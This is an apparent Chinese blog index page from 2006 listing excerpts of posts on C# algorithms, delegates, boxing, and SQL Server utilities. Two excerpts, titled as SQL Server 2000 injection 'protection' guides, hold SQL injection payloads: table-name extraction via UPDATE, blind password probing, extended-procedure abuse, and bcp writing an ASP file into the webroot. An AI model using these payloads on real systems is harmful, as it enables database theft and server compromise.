博文

C#希尔排序(2006-06-07 14:09:00)

摘要:usingSystem;
namespaceShellSorter
{
publicclassShellSorter
{
publicvoidSort(int[]list)
{
intinc;
for(inc=1;inc<=list.Length/9;inc=3*inc+1);
for(;inc>0;inc/=3)
{
for(inti=inc+1;i<=list.Length;i+=inc)
{
intt=list[i-1];
intj=i;
while((j>inc)&&(list[j-inc-1]>t))
{
list[j-1]=list[j-inc-1];
j-=inc;
}
list[j-1]=t;
}
}
}
}
publicclassMainClass
{
publicstaticvoidMain()
{
int[]iArrary=newint[]{1,5,13,6,10,55,99,2,87,12,34,75,33,47};
ShellSortersh=newShellSorter();
sh.Sort(iArrary);
for(intm=0;m<iArrary.Length;m++)
Console.Write("{0}",iArrary[m]);
Console.WriteLine();
}
}
}
......

阅读全文(2439) | 评论:0

C#实现二叉树(2006-06-07 14:09:00)

摘要:usingSystem;
usingSystem.Collections;

namespaceDataStructure
{
/**////<summary>
///BinaryTree的摘要说明。
///</summary>
publicclassBinaryTree:NaryTree
{
//构造二叉空树
publicBinaryTree():base(2)
{
//
//TODO:在此处添加构造函数逻辑
//
}

publicBinaryTree(object_obj):base(2,_obj)
{

}

//------------------------------------------------------------------
protectedoverrideobjectGetEmptyInstance(uint_degree)
{
returnnewBinaryTree(_degree);
}
//------------------------------------------------------------------

//重写深度遍历
publicoverridevoidDepthFirstTraversal(IPrePostVisitor_vis)
{
if(!IsEmpty())
{
_vis.PreVisit(this.Key);
this[0].DepthFirstTraversal(_vis);
_vis.Visit(this.Key);
this[1].DepthFirstTraversal(_vis);
_vis.PostVisit(this.Key);
}
}


//二叉树大小的比较
//先比较关键字,如果相等,再比较左子树,如果再相等,则比较右子树----如此递归
IComparable成员#regionIComparable成员

publicoverrideintCompareTo(objec......

阅读全文(2327) | 评论:0

C#中的代理(delegate)(2006-06-07 14:07:00)

摘要:  有些书上也称“代表”或“委托”。
C#中取消了指针的概念。对指针恋恋不舍的程序员可以有两种解决方法:声明“非安全”(unsafe)代码段然后在其中使用指针或者使用C#的一个引用类型——“代理”(delegate)。“代理”相当与C中的函数指针原型,区别是C#是类型安全的。 “代理”(delegate)(代表、委托):“代理”是类型安全的并且完全面向对象的。
(1)在C#中,所有的代理都是从System.Delegate类派生的(delegate是System.Delegate的别名)。
(2)代理隐含具有sealed属性,即不能用来派生新的类型。
(3)代理最大的作用就是为类的事件绑定事件处理程序。
(4)在通过代理调用函数前,必须先检查代理是否为空(null),若非空,才能调用函数。(5)在代理实例中可以封装静态的方法也可以封装实例方法。
(6)在创建代理实例时,需要传递将要映射的方法或其他代理实例以指明代理将要封装的函数原型(.NET中称为方法签名:signature)。注意,如果映射的是静态方法,传递的参数应该是类名.方法名,如果映射的是实例方法,传递的参数应该是实例名.方法名。
(7)只有当两个代理实例所映射的方法以及该方法所属的对象都相同时,才认为它们是想等的(从函数地址考虑)。
(8)多个代理实例可以形成一个代理链,System.Delegate中定义了用来维护代理链的静态方法Combion,Remove,分别向代理链中添加代理实例和删除代理实例。
(9)代理的定义必须放在任何类的外面,如delegate int MyDelegate();而在类的方法中调用MyDelegate d = new MyDelegate(MyClass.MyMethod);来实例化自定义代理的实例。
(10)代理三步曲:
a.生成自定义代理类:delegate int MyDelegate();
b.然后实例化代理类:MyDelegate d = new MyDelegate(MyClass.MyMethod);
c.最后通过实例对象调用方法:int ret = d();......

阅读全文(1781) | 评论:0

C#中的“装箱”(boxing)与“拆箱”(unboxing)(2006-06-07 14:06:00)

摘要:装箱和拆箱:任何值类型、引用类型可以和object(对象)类型之间进行转换。装箱转换是指将一个值类型隐式或显式地转换成一个object类型,或者把这个值类型转换成一个被该值类型应用的接口类型(interface-type)。把一个值类型的值装箱,就是创建一个object实例并将这个值复制给这个object,装箱后的object对象中的数据位于堆中,堆中的地址在栈中。被装箱的类型的值是作为一个拷贝赋给对象的。如:
inti=10;
objectobj=i;//隐式装箱
objectobj=object(i);//显式装箱
if(objisint)//int
Console.WriteLine(“OK”);
Console.WriteLine(obj.GetTyp());//System.Int32 有两种方式来查看包装以后的引用对象中包装的原始数据的类型。要判断原始类型是否是某个给定的原子类型,用is;如果要返回一个字符串,可以用object类的GetType方法。
拆箱转换是指将一个对象类型显式地转换成一个值类型,或是将一个接口类型显式地转换成一个执行该接口地值类型。注意装箱操作可以隐式进行但拆箱操作必须是显式的。拆箱过程分成两步:首先,检查这个对象实例,看它是否为给定的值类型的装箱值。然后,把这个实例的值拷贝给值类型的变量。比如: inti=10;
objectobj=i;
intj=(int)obj; 有两种方式来查看包装以后的引用对象中包装的原始数据的类型。要判断原始类型是否是某个给定的原子类型,用is;如果要返回一个字符串,可以用object类的GetType方法。 拆箱转换是指将一个对象类型显式地转换成一个值类型,或是将一个接口类型显式地转换成一个执行该接口地值类型。注意装箱操作可以隐式进行但拆箱操作必须是显式的。拆箱过程分成两步:首先,检查这个对象实例,看它是否为给定的值类型的装箱值。然后,把这个实例的值拷贝给值类型的变量。比如: inti=10;
objectobj=i;
intj=(int)obj;......

阅读全文(2045) | 评论:0

存储过程中调用C#写的DLL(2006-06-06 11:11:00)

摘要:最近一个项目中遇到一个转换FileTime的问题.时间是在C#中用DateTime.ToFileTime写入数据库中,这在存储过程中判断年和季度成了问题,怎么样才能把时间转换为正常的时间格式呢?Sql server中又没有FromFileTime对应的方法?其实很简单用C#写一个转换时间的Dll然后在存储过程中调用就可以了. 转换时间的类如下:
[Guid("729ba6af-3eff-4b75-b43b-d951a190dbe6")]
 public class FileTimeConvert
 {
  public FileTimeConvert()
  {
  }
 
  public string ConvertTime(long fileTime)
  {
   string retVal = string.Empty;
   if (fileTime > 0)
   {
    DateTime dt = DateTime.FromFileTime(fileTime);
    retVal = dt.ToString();    
   }
   return retVal;
  }  
 }
注意这个Guid我们在存储过程中引用要用到这个Guid.

为方便可能在多处需要调用,我们专门写一个存储过程
如下:

CREATE  PROCEDURE  spu_ConvertFileTimeToNormal
 @ticks BIGINT,
 @returnval  varchar(40) output<......

阅读全文(2045) | 评论:0

微软SQL Server 2005的30项顶尖特性(2006-06-06 09:59:00)

摘要:  微软SQL Server 2005的30项顶尖特性 10大顶尖数据库管理特性 特性 描述 数据库镜像 利用新增数据库镜像解决方案扩展日志传送功能。您可以使用数据库镜像特性通过设置自动故障转移至备用服务器的方式来增强SQL Server系统的功能。 在线恢复 利用SQL Server 2005,数据库管理员可以在SQL Server实例运行状态下执行恢复操作。由于只有那些被恢复的数据无法使用,数据库的其余部分仍旧处于在线状态且保持可用,因此,在线恢复特性能够有效提高SQL Server的可用性。 在线索引操作 在线索引选项允许对底层表格、群集索引数据以及索引数据定义语言(DDL)执行过程中的所有相关索引执行并行修改(更新、删除和插入操作)。举例来说,当群集索引被重建时,您可以继续对底层数据进行更新并针对其执行查询操作。 快速恢复 新增的快速恢复选项将提高SQL Server数据库的可用性。当事务日志被前滚后,管理员可以重新连接正在恢复的数据库。 安全增强特性 SQL Server 2005包含诸如数据库加密、安全缺省设置、口令策略强制、较细粒度权限控制以及增强安全模型之类的安全增强特性。 新增的SQL Server Management Studio SQL Server 2005将引入一种新型集成化管理工具套件,SQL Server Management Studio。这种工具集包含用以对SQL Server数据库进行开发、部署和故障诊断的新增功能以及针对原有功能的进一步增强。 专用管理员连接 SQL Server 2005将引入专用的管理员连接,管理员可以使用这种连接来访问运行中的服务器甚至被锁定或因为某种原因而无法使用的服务器。这项功能使管理员得以通过执行诊断功能或Transact-SQL语句的方式在服务器上诊断问题。 快照隔离 SQL Server 2005将在数据库级别上提供新的快照隔离(SI)级别。借助SI特性,用户可以利用数据库的事务一致性视图来访问最新提交的数据行。这项功能将提供更高的可伸缩性。 数据分区 数据分区凭借能够针对大型表格与索引进行高效管理的内建表格与索引分区特性得到了增强。 复制增强特性 对于分布式移动数据库而言,SQL ......

阅读全文(1825) | 评论:0

SQL Server 2000 注入防护大全(二)(2006-06-06 09:58:00)

摘要:传统查询构造:
select * FROM news where id=... AND topic=... AND .....
admin'and 1=(select count(*) from [user] where username='victim' and right(left(userpass,01),1)='1') and userpass <>'
select 123;--
;use master;--
:a' or name like 'fff%';-- 显示有一个叫ffff的用户哈。
'and 1<>(select count(email) from [user]);--
;update [users] set email=(select top 1 name from sysobjects where xtype='u' and status>0) where name='ffff';--   说明:
  上面的语句是得到数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。
  通过查看ffff的用户资料可得第一个用表叫ad
  然后根据表名ad得到这个表的ID
ffff';update [users] set email=(select top 1 id from sysobjects where xtype='u' and name='ad') where name='ffff';--   象下面这样就可以得到第二个表的名字了
ffff';update [users] set email=(select top 1 name from sysobjects where xtype='u' and id>581577110) where name='ffff';--
ffff';update [users] set email=(select top 1 count(id) from password) where name='ffff';--
ffff';update [users] set email=(select top 1 pwd from password where id=2)
where n......

阅读全文(2119) | 评论:0

SQL Server 2000 注入防护大全(一)(2006-06-06 09:57:00)

摘要:  SQL Server 2000 注入防护大全(一) Sql注入早源于'or'1'='1 最重要的表名:
select * from sysobjects
sysobjects ncsysobjects
sysindexes tsysindexes
syscolumns
systypes
sysusers
sysdatabases
sysxlogins
sysprocesses
  最重要的一些用户名(默认sql数据库中存在着的)
public
dbo
guest(一般禁止,或者没权限)
db_sercurityadmin
ab_dlladmin
  一些默认扩展
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite
xp_availablemedia 驱动器相关
xp_dirtree 目录
xp_enumdsn ODBC连接
xp_loginconfig 服务器安全模式信息
xp_makecab 创建压缩卷
xp_ntsec_enumdomains domain信息
xp_terminate_process 终端进程,给出一个PID 例如:
sp_addextendedproc 'xp_webserver', 'c:\temp\xp_foo.dll'
exec xp_webserver
sp_dropextendedproc 'xp_webserver'
bcp "select * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp
-c -Slocalhost -Usa -Pfoobar
' group by users.id having 1=1-
' group by users.id, users.......

阅读全文(1795) | 评论:0

不同库表间(含字段)比较的SQL代码(2006-06-06 09:55:00)

摘要:use accdb1 --为zy旧库,Accdb为液晶版标准库,已知Accdb库比Accdb1库多出表和字段,求多出的表和字段

SELECT accdb.table_name AS accdb_table_name,
      accdb.columns_name AS accdb_columns_name,
      accdb1.table_name AS accdb1_table_name,
      accdb1.columns_name AS accdb1_columns_name
FROM (SELECT Accdb.dbo.sysobjects.name AS table_name,
              Accdb.dbo.syscolumns.name AS columns_name
        FROM Accdb.dbo.syscolumns INNER JOIN
              Accdb.dbo.sysobjects ON
              Accdb.dbo.syscolumns.id = Accdb.dbo.sysobjects.id
        WHERE (NOT (Accdb.dbo.syscolumns.name LIKE '@%')) AND
       &nbs......

阅读全文(2267) | 评论:0

去除指定表中数据类型是VARCHAR,CHAR,NVARCHAR的字段值中的不可(2006-06-06 09:54:00)

摘要:  去除指定表中数据类型是VARCHAR,CHAR,NVARCHAR的字段值中的不可见字符     
  
 
--作用:去除指定表中数据类型是VARCHAR,CHAR,NVARCHAR的字段值中的不可见字符
--注意:此处只去掉前后的不可见字符,不包括中间的字符,而且没有区分中文
--有兴趣的可以自己加个判别的中文,其实也很简单的,就是限定一个字符的范围就可以了
--日期:2004-11-04
--作者:ICERIVER
--注意:使用前请指定对应要修改的表名,并且需要在对应数据库下执行;
SET NOCOUNT ON   DECLARE @TblName  VARCHAR(100)
DECLARE @UpdateString NVARCHAR(1000)
DECLARE @SelectString NVARCHAR(1000)
DECLARE @COlName VARCHAR(100)
DECLARE @COUNT  INT   SET @TblName = 'YOURTABLENAME'--指定想要修改的表名   --定义游标取出指定表内的数据类型是VARCHAR,char,nVARCHAR的字段名称
DECLARE cur_ColName  CURSOR
FOR
SELECT col.name
FROM syscolumns AS col
 inner join sysobjects  AS obj  ON col.ID = obj.ID
 INNER join systypes  AS typ  ON col.xtype = typ.xtype
WHERE obj.xtype ='U'
AND obj.name = @TblName
AND typ.name IN ('VARCHAR','CHAR','NVARCHAR','NCHAR')
FOR READ ONLY
--打开游标
OPEN......

阅读全文(1746) | 评论:0